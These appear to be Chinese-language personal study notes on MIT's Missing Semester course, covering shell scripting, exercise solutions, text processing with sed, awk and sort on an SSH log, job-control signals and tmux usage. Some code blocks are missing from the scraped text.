-a:仅更新访问时间。 -
-m:仅更新修改时间。 -
-t:使用指定的时间戳(格式为[[CC]YY]MMDDhhmm[.ss])。 -
-c:如果文件不存在,则不创建文件。
在这里我们直接
即可
然后向semester文件中写入两行,这里已经给出提示了
需要用''而不是" ",官方文档的解释如下
也就是说在双引号中"!"仍然是有特殊意义的
那么只要使用单引号就行了
可以使用echo命令加上>>输入两次
或者加上参数-e使用换行符
或者使用tee命令
echo '#!/bin/sh' | tee -a semester
echo 'curl --head --silent https://missing.csail.mit.edu' | tee -a semester
-a参数表示追加到文件末尾
当然不使用pipe直接手动tee输入也是可以的,最后使用^D结束输入
也可以
然后尝试执行这个文件
发现文件没有执行权限,ls -l之后发现就算是root用户也没有执行权限
第一种方法是使用sh命令
而我们能使用sh命令是因为semester文件的第一行是#!/bin/sh
Info
在 Unix 和 Unix-like 操作系统中,shell 脚本通常通过文件的第一行(称为 shebang)来指定使用哪个解释器来执行脚本。Shebang 是一个由 #! 开头的行,后面跟着解释器的路径
不使用sh命令,使用./执行也是可以的,但是首先需要给文件添加执行权限
这个给文件添加了执行权限,然后就可以使用./semester执行了
或者
777表示所有用户都有读写执行权限,这样写是因为权限是三位一组的,用二进制表示为111,即7,代表既可读又可写又可执行,777表示所有用户都有读写执行权限
执行之后会给我们一堆信息,需要从中提取出Last-Modified存放到home directory下的last-modified文件中
一开始我以为是\home目录,所以我的命令是
然而题目要求使用>,重定向,所以应该是~目录
最后cat检查一下就好了
最后一个就简单了,只需要我们获取电量信息
不同的系统文件名好像不一样,可以进到power_supply目录下找一下
Shell tools¶
约 2151 个字 105 行代码 预计阅读时间 9 分钟
shell programming¶
变量定义¶
在shell中,变量定义使用等号=,等号两边不能有空格。
$来引用变量。
这将会输出kailqq。
但是如果变量名中包含空格,则需要使用引号。
这将会报错,因为此时相当于我们在调用name这个命令,第一个参数是=,第二个参数是kailqq
在lec1的作业中,提到了""和''的区别,""解析$符号.
第一个输出kailqq,第二个输出$name。
我们也可以将命令的输出赋值给变量。
这将会获取当前目录下的所有文件名,并赋值给变量name。$()也可以替换为``
除了$(),还可以使用<()将命令的输出作为标准输入传递给另一个命令。
这将会先执行command_1,输出结果传递给command,然后执行command_2,输出结果也传递给command。
这将会输出当前目录下的所有文件名和文件的详细信息。
逻辑运算符¶
true 表示真,执行true,后执行echo $?,输出0。
false 表示假,执行false,后执行echo $?,输出1。
|| 表示或,只有当第一个命令失败时,才会执行第二个命令。(遇到第一个成功的命令结束)
&& 表示与,只有当第一个命令成功时,才会执行第二个命令。(遇到第一个失败的命令结束)
; 表示分隔符,用于分隔多个命令,不管上一个命令是否成功,都会执行下一个命令。
Eg
第一行第一个命令失败,执行第二个命令成功,输出hello和0。
第一行第一个命令成功,不执行第二个命令,输出0。
第一行第一个命令失败,不执行第二个命令,输出1。
第一行第一个命令成功,执行第二个命令失败,输出1。
第一行第一个命令失败,执行第二个命令成功,输出0。
执行第二个命令时,由于它的前一个命令失败,所以输出1。
执行第二个命令时,由于它的前一个命令成功,所以输出0。
函数¶
首先创建一个函数
输入
然后保存文件,并source这个文件。
然后就可以使用这个函数了
这会在当前目录下创建一个名为test的目录,并进入该目录。
分析
mkdir -p "$1": 这个命令用于创建目录。-p 选项告诉 mkdir 创建所需的父目录,这意味着如果目录已经存在,它不会报错。$1 是一个位置参数,表示传递给函数的第一个参数。因此,如果你调用 mcd test,$1 就是 test。
而source命令用于读取并执行指定文件中的命令。在这个例子中,source mcd.sh 读取 mcd.sh 文件中的命令,并执行它们。
使得mcd命令在当前shell中可用。
$0 是一个特殊变量,表示当前脚本的名称。
$i 是一个位置参数,表示传递给函数的第i个参数。
其中$1表示第一个参数,$2表示第二个参数,以此类推。
$? 是一个特殊变量,表示上一个命令的退出状态,0表示成功,1表示error,执行命令后可以通过echo $?查看是否成功。
$_ 是一个特殊变量,表示上一个命令的最后一个参数。
$$ 是一个特殊变量,表示当前进程的进程ID(PID)。
$# 是一个特殊变量,表示传递给函数的参数个数。
!! 是一个特殊变量,表示上一条命令。(Bang Bang)
#!/bin/zsh
echo "Starting program at $(date)"
echo "Running Program $0 with $# arguments with pid $$"
for file in "$@"; do
grep foobar "$file" > /dev/null 2> /dev/null
if [[ "$?" -ne 0 ]]; then
echo "File $file does not have any foobar,add one"
echo "#foobar">>"$file"
fi
done
如果没有第一行的shebang,则会报错找不到[[
因为shebang指定了脚本的解释器,所以需要使用#!/bin/zsh或者#!/bin/bash。使用#!/bin/sh也不行.
echo "Starting program at $(date)":
- 输出当前程序的启动时间。
$(date)执行date命令并将其输出插入到字符串中。
echo "Running Program $0 with $# arguments with pid $$":
- 输出当前正在运行的程序名(
$0),传递给程序的参数个数($#),以及当前进程的进程 ID($$)。
for file in "$@"; do:
- 开始一个循环,遍历传递给脚本的所有参数(文件名)。
"$@"表示所有传递的参数,每个参数作为一个独立的字符串。
grep foobar "$file" > /dev/null 2> /dev/null:
- 在当前文件中搜索字符串 "foobar"。
> /dev/null和2> /dev/null将标准输出和标准错误输出重定向到/dev/null,即忽略输出。
if [[ "$?" -ne 0 ]]; then:
- 检查上一个命令的退出状态(
$?)。如果grep没有找到 "foobar",退出状态将不为 0,表示失败。
echo "File $file does not have any foobar,add one":
- 输出一条信息,说明文件中没有找到 "foobar"。
echo "#foobar">>"$file":
- 将字符串
#foobar追加到文件的末尾。
done:
- 结束
for循环。
使用./foobarchecker运行脚本,并传递参数file1.txt file2.txt file3.txt。
甚至可以不传递参数,直接运行./foobarchecker foobarchecker,来检查当前脚本是否包含foobar。
shell-tools¶
检查脚本语法可以使用shellcheck
tldr 是一个社区驱动的命令行工具,旨在提供简洁明了的命令行工具使用示例。它的名字来源于 "Too Long; Didn't Read",意在为用户提供简化的命令行工具文档,帮助快速理解和使用命令。
ripgrep 是一个用于搜索文本的工具,类似于 grep,但提供了更快的搜索速度和更丰富的功能。
history 是一个用于显示命令历史的工具。
autojump 是一个用于快速跳转目录的工具。
fzf 是一个用于模糊搜索的工具。
这会进入到一个交互式搜索界面,搜索文件内容时很有帮助
如果启用了绑定键,则可以按下Ctrl+R来搜索命令历史。
如果直接使用fzf,则进入交互式寻找当前目录下文件。
tree 是一个用于显示目录树的工具,功能类似于ls -R。
broot可以进入交互式文件导航
Exercise & Solutions¶
-
Read
man lsand write anlscommand that lists files in the following manner: -
Includes all files, including hidden files
- Sizes are listed in human readable format (e.g. 454M instead of 454279954)
- Files are ordered by recency
- Output is colorized
A sample output would look like this
-rw-r--r-- 1 user group 1.1M Jan 14 09:53 baz
drwxr-xr-x 5 user group 160 Jan 14 09:53 .
-rw-r--r-- 1 user group 514 Jan 14 06:42 bar
-rw-r--r-- 1 user group 106M Jan 13 12:12 foo
drwx------ 47 user group 1.5K Jan 12 18:08 ..
即要求输出文件详细信息,size以人类可读格式显示,文件按最近修改时间排序,并启用彩色输出。
-l 参数可以显示文件的详细信息
-a 参数可以显示隐藏文件
-h 参数可以以人类可读格式显示文件大小
--color=auto 参数可以启用彩色输出
--sort=time 参数可以按最近修改时间排序
- Write bash functions
marcoandpolothat do the following. Whenever you executemarcothe current working directory should be saved in some manner, then when you executepolo, no matter what directory you are in,poloshouldcdyou back to the directory where you executedmarco. For ease of debugging you can write the code in a filemarco.shand (re)load the definitions to your shell by executingsource marco.sh.
即要求marco保存当前工作目录,polo返回marco保存的工作目录。
考虑到可以进行变量定义,所以macro只需要定义一个保存当前目录的变量,polo只需要cd到这个变量定义的目录。
也可以在marco中使用export MARCO_DIR=$(pwd)来定义变量,export定义的变量是全局变量,可以在子进程中使用
如果没有使用export,则我在zsh中marco了一次后,然后输入bash,在bash中执行echo $MARCO_DIR什么都不会输出
如果使用了export,则我在zsh中marco了一次后,然后输入bash,在bash中执行echo $MARCO_DIR会输出我之前marco的目录。
注意修改了之后需要source才会生效
source
在 shell 中,source 命令用于在当前 shell 会话中执行一个脚本文件中的命令,而不创建新的子进程。这意味着所有在脚本中定义的变量、函数和环境设置都会直接影响 当前 shell 会话 。
与执行脚本的区别: 如果直接执行脚本,会在一个 新的子进程 中运行,脚本中的变量和函数不会影响当前 shell。
即如果我写了一个cd ~命令进一个文件comehome,然后执行source comehome,那么我确实进入了~目录,但是如果我直接执行./comehome,那么不会进入~目录。
- Say you have a command that fails rarely. In order to debug it you need to capture its output but it can be time consuming to get a failure run. Write a bash script that runs the following script until it fails and captures its standard output and error streams to files and prints everything at the end. Bonus points if you can also report how many runs it took for the script to fail.
#!/usr/bin/env bash
n=$(( RANDOM % 100 ))
if [[ n -eq 42 ]]; then
echo "Something went wrong"
>&2 echo "The error was using magic numbers"
exit 1
fi
echo "Everything went according to plan"
n=$(( RANDOM % 100 )) 表示生成一个0到99之间的随机数,使用两个括号是bash的特性,表示计算表达式。
即要求我写一个脚本,运行这个脚本直到它失败,并捕获它的标准输出和错误流到文件中,最后打印所有内容。
这个脚本在结束时会把错误信息输出到标准错误流,所以我们可以使用2>来捕获错误流。
如下
首先将其保存为script.sh
然后创建我们的脚本run.sh,首先创建一个while循环,然后创建一个if条件,如果脚本运行失败,则退出循环,否则就一直运行,把标准输出和错误流分别重定向到output.txt和error.txt。
#!/usr/bin/env bash
while true; do
./script.sh >> output.txt 2>> error.txt
if [[ $? -ne 0 ]]; then
echo "Script failed, retrying..."
break
fi
done
这样就基本完成了,如果想要计算运行了多少次,可以再创建一个变量,在每次运行后加一。
一开始我的想法是这样的
count=0
while true; do
./script.sh >> output.txt 2>> error.txt
count=$(($count + 1))
if [[ $? -ne 0 ]]; then
echo "Script failed, retrying...,$count times"
break
fi
done
$?变为count+1的值,所以需要调换一下位置
count=0
while true; do
count=$(($count + 1))
./script.sh >> output.txt 2>> error.txt
if [[ $? -ne 0 ]]; then
echo "Script failed, retrying...,$count times"
break
fi
done
Warning
这里./run.sh结束脚本后使用echo $count并不会显示任何值,因为直接执行脚本会创建新的进程,所以如果想要在脚本结束后echo $count来查看,需要使用source run.sh来执行脚本。
4.As we covered in the lecture find’s -exec can be very powerful for performing operations over the files we are searching for. However, what if we want to do something with all the files, like creating a zip file? As you have seen so far commands will take input from both arguments and STDIN. When piping commands, we are connecting STDOUT to STDIN, but some commands like tar take inputs from arguments. To bridge this disconnect there’s the xargs command which will execute a command using STDIN as arguments. For example ls | xargs rm will delete the files in the current directory.
Your task is to write a command that recursively finds all HTML files in the folder and makes a zip with them. Note that your command should work even if the files have spaces (hint: check -d flag for xargs).
If you’re on macOS, note that the default BSD find is different from the one included in GNU coreutils. You can use -print0 on find and the -0 flag on xargs. As a macOS user, you should be aware that command-line utilities shipped with macOS may differ from the GNU counterparts; you can install the GNU versions if you like by using brew.
即要求我们写一个命令,递归地找到当前目录下的所有HTML文件,并把它们压缩成一个zip文件。提示是xargs的-d参数。
首先查看一下xargs命令,xargs命令可以接受标准输入作为参数,然后执行命令。
tips:这里解决了我的一个疑问,之前我使用
ls | echo不会echo任何东西,但是使用ls | xargs echo会echo所有文件名。这是因为echo以命令行参数的形式接受输入,所以不会接受标准输入,而xargs以标准输入作为参数,转化为命令行参数传递给echo,所以成功了
首先递归找到当前目录下的所有HTML文件
然后使用xargs来压缩这些文件
即使文件名中包含空格,使用xargs -d也可以正确处理。
5.(Advanced) Write a command or script to recursively find the most recently modified file in a directory. More generally, can you list all files by recency?
即要求我们写一个命令或脚本,递归地找到当前目录下最近修改的文件,或者列出所有文件按修改时间排序。
可以使用ls -t来列出所有文件按修改时间排序
如果没有xargs,则ls -lt会接受不到参数,直接执行了ls -lt
Data Wrangling¶
约 3285 个字 83 行代码 1 张图片 预计阅读时间 12 分钟
这节课太炫了
Data Wrangling,中文通常翻译为数据整理或数据清洗,是指将原始数据转换为更易于分析和使用的格式的过程。是数据分析和数据科学工作流程中的重要环节,因为高质量的数据是进行有效分析和建模的基础。通过数据整理,可以提高数据的可用性和可靠性,从而为后续的分析和决策提供坚实的基础。
这门课主要演示了各种处理文本数据的方法,以及使用|将各种命令连接起来,形成一个管道,从而实现更复杂优雅的数据处理任务。
正则表达式¶
正则表达式(Regular Expression)是一种用于描述字符串模式的表达式。它可以在文本中搜索、替换、插入和删除特定的字符或字符组合。
-
字符匹配:
- 普通字符:匹配自身,如
a匹配字符 'a'。 - 特殊字符:使用反斜杠
\转义,如\.匹配字符 '.'。 .:匹配任意一个字符。
- 普通字符:匹配自身,如
-
字符类:
- 方括号
[]:匹配方括号内的任意一个字符,如[abc]匹配 'a'、'b' 或 'c'。 - 范围:使用连字符
-表示范围,如[a-z]匹配所有小写字母。 - 否定:在方括号内使用
^表示否定,如[^0-9]匹配所有非数字字符。
- 方括号
-
预定义字符类:
\d:匹配任意数字,相当于[0-9]。\D:匹配任意非数字字符,相当于[^0-9]。\w:匹配任意字母、数字或下划线字符,相当于[a-zA-Z0-9_]。\W:匹配任意非字母、数字或下划线字符,相当于[^a-zA-Z0-9_]。\s:匹配任意空白字符(空格、制表符等)。\S:匹配任意非空白字符。
-
量词:
*:匹配前面的字符零次或多次。.*可以匹配任意字符串。+:匹配前面的字符一次或多次。?:匹配前面的字符零次或一次。{n}:匹配前面的字符恰好 n 次。{n,}:匹配前面的字符至少 n 次。{n,m}:匹配前面的字符至少 n 次,至多 m 次。
-
位置匹配:
^:匹配字符串的开头。$:匹配字符串的结尾。\b:匹配单词边界。\B:匹配非单词边界。
-
分组和引用:
- 括号
():用于分组,如(abc)匹配字符串 'abc',(a|b) 匹配 'a' 或 'b'。 - 反向引用:使用
\1、\2等表示前面分组匹配的内容,如(a)(b)\1\2匹配 'abab'。
- 括号
sed¶
sed 是一种流编辑器,用于处理和转换文本数据。它允许您对文件或标准输入进行各种文本操作,如搜索、替换、插入、删除等。sed 通常用于批量处理文本文件,特别是在需要自动化文本处理任务时。
例如 sed "s/REGEX/SUBSTITUTION/",其中 REGEX 部分是我们需要使用的正则表达式,而 SUBSTITUTION 是用于替换匹配结果的文本。
即搜寻REGEX,并替换为SUBSTITUTION。
在课程上,jon演示了如何使用sed来处理文本数据。目标是找出ssh的log文件中的用户信息。
大概是这样的信息
Jan 17 03:13:00 thesquareplanet.com sshd[2631]: Disconnected from invalid user nameofuser 46.97.239.16 port 55920 [preauth]
Disconnected from的行,并将其替换为空字符串。
但是如果有人将user设置为Disconnected from,那么就会导致无法正确处理。
这是因为在默认情况下,*和+都是贪婪的,会尽可能多地匹配字符。
所以遇到第二个Disconnected from时,会将其与前面的Disconnected from一起替换为空字符串。
可任意使用*?来取消贪婪,只匹配第一个;
这样匹配了用户名前面的信息,但是还需要匹配用户名后面的信息。
方法是使用^和$来匹配行首和行尾,进行一整行的匹配。
sed -E 's/.*Disconnected from (invalid |authenticating )?user .* [^ ]+ port [0-9]+( \[preauth\])?$//'
这个的意思是:
-E:使用扩展正则表达式,因为sed太老了。.*Disconnected from:匹配Disconnected from。(invalid |authenticating )?:匹配invalid或authenticating,即user前面有可能是这俩。-
user:匹配user。 -
.*:匹配用户名后面的任意字符 -
[^ ]+:匹配一个或多个非空白字符(所以可以匹配到46.97.239.16) -
port [0-9]+( \[preauth\])?$:匹配port,然后是1个或多个数字,然后创建一个组来匹配[preauth](使用了\来进行转义匹配[]),然后是行尾。
注意在这一正则表达式中空格的位置和原本行的位置是一样的,也就是空格也要被考虑匹配,不然就会匹配不上
这样我们就完全匹配了一整行,但是我们只需要用户名,所以需要将用户名提取出来,方法是使用()来创建一个组,然后使用\2来引用这个组,\2表示第二个组,因为第一个组是invalid |authenticating,第二个组才是是user跟着的。
sed -E 's/.*Disconnected from (invalid |authenticating )?user (.*) [^ ]+ port [0-9]+( \[preauth\])?$/\2/'
Tip
可以使用regex debugger来理解,从这里我们已经可以看出
正则表达式的编写十分复杂,例如,这里有一篇关于如何匹配电子邮箱地址的文章 e-mail address,匹配电子邮箱可一点也不简单。网络上还有很多关于如何匹配电子邮箱地址的讨论。人们还为其编写了测试用例及测试矩阵。您甚至可以编写一个用于判断一个数是否为质数的正则表达式。
sort¶
现在我们通过sed提取出了所有用户名,我们还可以利用sort来对这些用户名进行排序。
sed -E 's/.*Disconnected from (invalid |authenticating )?user (.*) [^ ]+ port [0-9]+( \[preauth\])?$/\2/' ssh.log
| sort
sort命令用于对文本文件中的内容进行排序。它可以按字母顺序、数字顺序或其他指定的方式对文件中的行进行排序。默认情况下,sort命令会按字母顺序对文本进行排序。
-n:按数值排序。-r:按相反顺序排序。-u:去除重复行。-o:将排序结果输出到指定文件。
uniq¶
uniq 命令用于报告或忽略文件中的重复行。它通常与 sort 命令一起使用,用于处理排序后的数据。
例如
sed -E 's/.*Disconnected from (invalid |authenticating )?user (.*) [^ ]+ port [0-9]+( \[preauth\])?$/\2/' ssh.log
| sort
| uniq -c
uniq -c参数会统计每个用户名出现的次数。
然后再根据这些次数进行排序。
sed -E 's/.*Disconnected from (invalid |authenticating )?user (.*) [^ ]+ port [0-9]+( \[preauth\])?$/\2/' ssh.log
| sort
| uniq -c
| sort -nk1,1
-k1,1 则表示“仅基于以空格分割的第一列进行排序”。,n 部分表示“仅排序到第 n 个部分”,默认情况是到行尾。
如果我们只想要显示出用户名,那么
sed -E 's/.*Disconnected from (invalid |authenticating )?user (.*) [^ ]+ port [0-9]+( \[preauth\])?$/\2/' ssh.log
| sort
| uniq -c
| sort -nk1,1
| awk '{print $2}'
awk¶
awk 其实是一种编程语言,只不过它碰巧非常善于处理文本。
在上面的例子中
awk 程序接受一个模式串(可选),
以及一个代码块,
指定当模式匹配时应该做何种操作。
默认当模式串即匹配所有行(上面命令中当用法)。
在代码块中,$0 表示整行的内容,
$1 到 $n 为一行中的 n 个区域,区域的分割基于 awk 的域分隔符(
默认是空格,可以通过 -F 来修改)。
在这个例子中,我们的代码意思是:对于每一行文本,打印其第二个部分,也就是用户名。
最后,我们还可以接上paste来将用户名和用户名出现的次数进行合并。
sed -E 's/.*Disconnected from (invalid |authenticating )?user (.*) [^ ]+ port [0-9]+( \[preauth\])?$/\2/' ssh.log
| sort
| uniq -c
| sort -nk1,1
| awk '{print $2}'
| paste -sd ","
awk提取用户名后,paste将用户名和用户名出现的次数进行合并,分割符为,。
现在,我们统计一下所有以 c 开头,以 e 结尾,并且仅尝试过一次登录的用户。
首先,注意这次我们为 awk 指定了一个匹配模式串(也就是{...} 前面的那部分内容)。该匹配要求文本的第
一部分需要等于 1(这部分刚好是 uniq -c 得到的计数值),然后其第二部分必须满足给定的一个正则表达式。代码块中的内容则表示打印用
户名。然后我们使用 wc -l 统计输出结果的行数。
在 awk 中,~ 运算符用于将字段与正则表达式进行匹配。
bc¶
bc 是一个任意精度计算器语言,通常用于进行数学计算。它允许您执行复杂的算术运算,包括浮点运算。
可以将每行的数字加起来:
下面这种更加复杂的表达式也可以:首先$(data | paste -sd+)获取了data | paste -sd+的输出,然后把它放在2*()中。再传递给bc进行计算。-l表示使用bc的数学库。
如果想要绘制图表,可以使用gnuplot。
我们还可以处理二进制数据
ffmpeg -loglevel panic -i /dev/video0 -frames 1 -f image2 -
| convert - -colorspace gray -
| gzip
| ssh mymachine 'gzip -d | tee copy.jpg | env DISPLAY=:0 feh -'
ffmpeg:一个强大的多媒体框架,用于录制、转换和流式传输音频和视频。-loglevel panic:设置日志级别为“panic”,这意味着只显示致命错误。-i /dev/video0:指定输入设备,通常是Linux系统上的默认视频捕获设备。-frames 1:只捕获视频输入中的一帧。-f image2 -:指定输出格式为单个图像,并将其输出到标准输出。convert:ImageMagick套件中的一个命令,用于转换和处理图像。-:表示输入来自标准输入。-colorspace gray:将图像转换为灰度色彩空间。-:将处理后的图像输出到标准输出。gzip:用于压缩数据的工具。这里将图像数据进行压缩。ssh mymachine:通过SSH连接到名为mymachine的远程机器。'gzip -d | tee copy.jpg | env DISPLAY=:0 feh -':在远程机器上执行的命令。gzip -d:解压缩数据。tee copy.jpg:将解压缩后的图像保存为copy.jpg,同时将其传递到下一个命令。env DISPLAY=:0 feh -:使用feh在远程机器的显示器上显示图像,DISPLAY=:0指定显示器。
这段代码的整体功能是从本地视频设备捕获一帧图像,转换为灰度,压缩后通过SSH传输到远程机器,并在远程机器上显示该图像。
Exercise & Solutions¶
1.Take this short interactive regex tutorial
这个没什么好说的,玩一玩,一共十五节入门练习,练习之前会给你介绍一下正则表达式的基本知识
2.Find the number of words (in /usr/share/dict/words) that contain at least three as and don’t have a 's ending. What are the three most common last two letters of those words? sed’s y command, or the tr program, may help you with case insensitivity. How many of those two-letter combinations are there? And for a challenge: which combinations do not occur?
即要求
- 包含至少三个
a - 不以
's结尾 - 使用
sed的y命令或tr程序实现大小写不敏感 - 找出最常见的三个最后两个字母组合
- 找出总共有多少种这样的两个字母组合
- 找出哪些组合没有出现
首先看看sed的y命令
首先找到包含至少三个a的单词
cat /usr/share/dict/words
| sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/'
|grep -E "^([^a]*a){3}.*$"
|grep -vE "'s$"
| wc -l
然后统计这些单词的最后两个字母组合,找出最常见的三种
cat /usr/share/dict/words
| sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/'
|grep -E "^([^a]*a){3}.*$"
|grep -vE "'s$"
|sed -E "s/.*([a-z]{2})$/\1/"
|sort
|uniq -c
|sort -nk1,1
|head -3
3.To do in-place substitution it is quite tempting to do something like sed s/REGEX/SUBSTITUTION/ input.txt > input.txt. However this is a bad idea, why? Is this particular to sed? Use man sed to find out how to accomplish this.
sed s/REGEX/SUBSTITUTION/ input.txt > input.txt 表达式中后一个 input.txt 会首先被清空,而且是发生在前的。所以前面一个 input.txt 在还没有被 sed 处理时已经为空了。在使用正则处理文件前最好是首先备份文件。
4.Find your average, median, and max system boot time over the last ten boots. Use journalctl on Linux and log show on macOS, and look for log timestamps near the beginning and end of each boot. On Linux, they may look something like:
and On macOS, look for: and编写脚本获取最近启动时间
#!/bin/bash
for i in {1..10}
do
journalctl -b-$i | grep "Startup finished in" | grep "systemd\[1\]">> boot_time.txt
done
Feb 05 20:21:43 Kailqq systemd[1]: Startup finished in 1.359s.
Feb 05 16:30:06 Kailqq systemd[1]: Startup finished in 1.342s.
Feb 05 16:44:03 Kailqq systemd[1]: Startup finished in 1.294s.
Feb 05 11:13:19 Kailqq systemd[1]: Startup finished in 1.404s.
Feb 04 15:57:46 Kailqq systemd[1]: Startup finished in 1.409s.
Feb 04 10:45:36 Kailqq systemd[1]: Startup finished in 1.419s.
Feb 03 23:31:58 Kailqq systemd[1]: Startup finished in 1.359s.
Feb 03 19:40:25 Kailqq systemd[1]: Startup finished in 1.372s.
Jan 30 09:36:06 Kailqq systemd[1]: Startup finished in 1.334s.
Jan 27 11:09:24 Kailqq systemd[1]: Startup finished in 3.232s.
Jan 26 21:52:40 Kailqq systemd[1]: Startup finished in 1.333s.
Jan 26 23:11:53 Kailqq systemd[1]: Startup finished in 1.476s.
Note
呃啊,本来用的是\d+\.\d+来替代[0-9]+\.[0-9], 结果sed好像不支持导致搞了好久
这样就得到了时间列表
计算平均值
amount=$(cat timelist.txt | wc -l)
sum=$(cat timelist.txt | paste -sd+ | bc -l)
mean=$(echo "scale=2; $sum / $amount" | bc -l)
echo "平均值: $mean"
计算中位数
cat timelist.txt | sort -n | paste -sd\ | awk '{
split($0, a, " ")
n = length(a)
if (n % 2 == 1) {
median = a[(n + 1) / 2]
} else {
median = (a[n / 2] + a[(n / 2) + 1]) / 2
}
print median
}'
可能需要解释一下这段awk代码:
split($0, a, " ") 将输入的每一行按空格分割成一个数组a
n = length(a) 获取数组a的长度
if (n % 2 == 1) 如果数组a的长度为奇数,则中位数为数组a的中间一个元素
median = a[(n + 1) / 2] 如果数组a的长度为奇数,则中位数为数组a的中间一个元素
median = (a[n / 2] + a[(n / 2) + 1]) / 2 如果数组a的长度为偶数,则中位数为数组a的中间两个元素的平均值
print median 打印中位数
计算最大值
计算最小值累了,后面的两题不想做了
Command line environment¶
约 4152 个字 52 行代码 7 张图片 预计阅读时间 15 分钟
Job control¶
Sleep命令可以让进程休眠一段时间,单位是秒。Sleep命令的语法如下:
如果想要终止当前进程,可以按 Ctrl+C 键。当我们按下 Ctrl+C 键时,会发送一个 SIGINT 信号给当前进程,从而终止进程。
SIGINT 全称是 Signal Interrupt,表示中断信号。更多的信号可以参考使用 man signal 命令查看。
有时候,我们可以针对Ctrl+C进行处理,使其无法关闭我们的进程。
#! /usr/bin/env python3
import signal,time
def handler(signum,frame):
print("Ctrl+C pressed")
signal.signal(signal.SIGINT,handler)
i=0
while True:
time.sleep(1)
print("\r{}".format(i),end="")
i+=1
Ctrl+C(SIGINT)信号。
首先,脚本导入了signal和time模块。然后定义了一个名为handler的函数,这个函数在接收到SIGINT信号时会被调用,并打印出"Ctrl+C pressed"的消息。
接下来,使用signal.signal函数将SIGINT信号与handler函数绑定。当用户按下Ctrl+C时,程序不会立即终止,而是调用handler函数。
脚本接着初始化了一个变量i为0,并进入一个无限循环。在循环中,程序每秒钟休眠一次,并打印出当前的i值,然后将i递增1。
这个脚本的作用是每秒钟打印一个递增的数字,并在用户按下Ctrl+C时打印一条消息而不是终止程序。
\r 是回车符,表示将光标移动到当前行的行首。end="" 为了不换行而是在同一行中更新数字
运行之后,按下Ctrl+C,会打印出"Ctrl+C pressed"的消息,然后程序继续运行。
要想终止程序,可以按Ctrl+\,这样程序会收到一个SIGQUIT信号,然后程序会终止。因为我们并没有处理SIGQUIT信号。
Tip
对于SIGKILL信号,它是不能被捕获的,当收到这个信号时,程序会立即终止。但是有时候这个信号会留下孤儿进程(其子进程)。
Ctrl+Z 会暂停当前进程,并将其置于后台。例如当我们执行sleep 100命令时,按下Ctrl+Z,会返回suspended sleep 100,然后执行jobs命令,会看到当前进程被暂停了。
然后我们再输入
sleep 2000命令,并将其置于后台(&的含义)。nohup命令的意思是忽略挂起(SIGHUP)信号。
然后查看进程,会看到一个sleep 2000的进程。正在running
如果我们想要重新启动sleep 100,可以输入
再使用jobs命令查看进程,会看到sleep 100的进程正在running。其中%1表示第一个进程。
如果使用的是fg命令,则表示将进程放到前台。bg命令表示将进程放到后台。
如果我们想要终止sleep 2000,可以输入
jobs命令查看进程,会看到sleep 2000的进程已经被终止。也可以使用kill -STOP %1来再次暂停命令
Info
kill -KILL %2(kill) 会立即强制终止进程,而kill %2(terminate) 会正常终止进程。
Terminal multiplexer¶
有的时候我们想要同时打开VIM和终端,一边写代码,一边方便地运行,又或者我们想要在运行某个进程时监视它的资源使用情况……
这些都可以通过打开多个终端来实现,但是事实上还有更方便的方法,那就是使用Terminal Multiplexer(终端复用器)。
Terminal multiplexer(终端复用器)是一种软件应用程序,它允许用户在一个单一的终端窗口中运行和管理多个终端会话。通过使用终端复用器,用户可以在一个屏幕上同时查看和操作多个终端会话,而不需要打开多个独立的终端窗口。
终端复用器的主要功能包括:
- 会话管理:用户可以创建、分离和重新连接到终端会话。这对于远程工作特别有用,因为用户可以在断开连接后重新连接到相同的会话。
- 窗口和面板:用户可以在一个终端会话中创建多个窗口和面板,每个窗口和面板可以运行不同的命令或程序。
- 快捷键:终端复用器通常提供丰富的快捷键,方便用户快速切换窗口、分割面板、滚动历史记录等。
- 脚本和自动化:用户可以编写脚本来自动化常见的任务和配置,从而提高工作效率。
常见的终端复用器有tmux和screen。其中,tmux是现代的终端复用器,提供了更强大的功能和更好的用户体验。
在tmux中,有三种层级
sessions: 会话,一个会话可以有多个窗口 windows: 窗口,一个窗口可以有多个面板。 panes: 面板,一个面板就是一个终端。
例如我们输入tmux,这会在当前shell中启动一个tmux,然后tmux会启动一个shell
可以输入Ctrl+B然后输入D,这会分离当前的会话,然后回到之前的shell。如果直接输入Ctrl+D,这会关闭当前的会话,然后回到之前的shell。
例如我们可以在tmux开出的shell中执行之前创建的python脚本,然后按Ctrl+B然后输入D,回到之前的shell。进行一系列工作之后,我们再输入tmux a,这会重新连接到之前的会话,然后就可以看到我们的python脚本还在运行。
tmux与vim有些类似,输入Ctrl+B然后输入:,这会进入命令模式。(下面绿色一行),然后可以输入list-sessions,这会列出所有会话。这也可以通过tmux ls来实现。
我们也可以通过tmux new -t session_name来创建一个会话,并命名为session_name。
例如我创建了一foobar的会话,然后输入tmux ls:
可以看到有两个会话,一个是foobar,一个是0。
现在可以使用
来连接到foobar会话。
Warning
使用tmux a -t foobar时不应该在一个tmux会话中,否则会报错,这是为了避免嵌套和混乱。
现在,我们可以关注windows,在一个tmux会话中,可以使用Ctrl+B然后输入c来创建一个新窗口。使用Ctrl+B然后输入n来切换到下一个窗口。使用Ctrl+B然后输入p来切换到上一个窗口。当窗口很多时,可以使用Ctrl+B然后输入数字来切换到对应的窗口。
如果想要删除一个窗口,可以使用Ctrl+B然后输入&来删除当前的窗口。
在上图中,我们可以看到有三个窗口,分别是0,1,2。当前所处的窗口是0(用*表示)。上一次所在的窗口是2(用-表示)。
可以看到当前三个window的名字都是zsh,这是因为我们没有给window命名。
我们可以使用Ctrl+B然后输入,来重命名当前窗口zsh为其它名字。
使用
Ctrl+B然后输入$可以重命名当前会话foobar为其它名字。
最后我们再来看看窗格panes,在一个window中,可以使用Ctrl+B然后输入"来水平分割出一个新的窗格,输入%来垂直分割出一个新的窗格。使用Ctrl+B然后输入x来关闭当前的窗格。使用Ctrl+B然后输入方向键来切换到对应的窗格。
效果如下:
还可以浏览不同的窗格布局,这可以通过
Ctrl+B然后输入space(亦即空格键)来实现。
当我们只想观察一个窗格时,可以通过Ctrl+B然后输入z来放大该窗格使其占据整个窗口,做完我们想做的事之后,可以通过Ctrl+B然后输入z来恢复原来的大小。这可以避免我们频繁地切换windows。
Dotfiles¶
